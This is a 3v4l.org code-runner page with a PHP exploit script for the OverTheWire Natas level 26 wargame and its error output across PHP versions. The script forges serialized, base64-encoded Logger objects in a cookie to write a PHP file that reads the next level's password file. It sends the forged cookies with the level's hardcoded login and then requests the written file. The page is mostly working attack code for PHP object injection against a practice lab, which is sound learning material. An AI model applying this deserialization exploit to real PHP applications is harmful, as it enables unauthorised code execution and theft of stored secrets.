3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $filename = "4864".".php"; class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($exitMsg){ global $filename; // initialise variables $this->initMsg="#-- started--#\n"; $this->exitMsg=$exitMsg; /*$this->exitMsg='';*/ $this->logFile = $filename; // write initial message } function log($msg){ } function __destruct(){ // write exit message } } $greet = function() {}; $msg = array('<','?','php ','echo file_get_contents("/etc/natas_webpass/natas27");',''); foreach( $msg as $m) { $obj = new Logger($m); $func = base64_encode(serialize($obj)); print "<br><br>".$m."<br>".$func; $c = curl_init("http://natas26.natas.labs.overthewire.org/"); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); curl_setopt($c, CURLOPT_COOKIE, 'drawing='.$func.''); curl_easy_setopt($c, CURLOPT_WRITEFUNCTION, $greet); $page = curl_exec($c); curl_close($c); } $c = curl_init('http://natas26.natas.labs.overthewire.org/img/'.$filename); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); $page = curl_exec($c); curl_close($c);
Output for 7.0.0 - 7.1.0
<br><br><<br>Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo4OiI0ODY0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjE1OiIjLS0gc3RhcnRlZC0tIwoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czoxOiI8Ijt9 Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/EinHv:39 Stack trace: #0 {main} thrown in /in/EinHv on line 39
Process exited with code 255.
Output for 5.3.0 - 5.6.28
<br><br><<br>Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo4OiI0ODY0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjE1OiIjLS0gc3RhcnRlZC0tIwoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czoxOiI8Ijt9 Fatal error: Call to undefined function curl_init() in /in/EinHv on line 39
Process exited with code 255.
Output for 5.1.0 - 5.2.17
Parse error: syntax error, unexpected T_FUNCTION in /in/EinHv on line 30
Process exited with code 255.
Output for 5.0.0 - 5.0.5
Parse error: parse error, unexpected T_FUNCTION in /in/EinHv on line 30
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/EinHv on line 6
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/EinHv on line 6
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/EinHv on line 6
Process exited with code 255.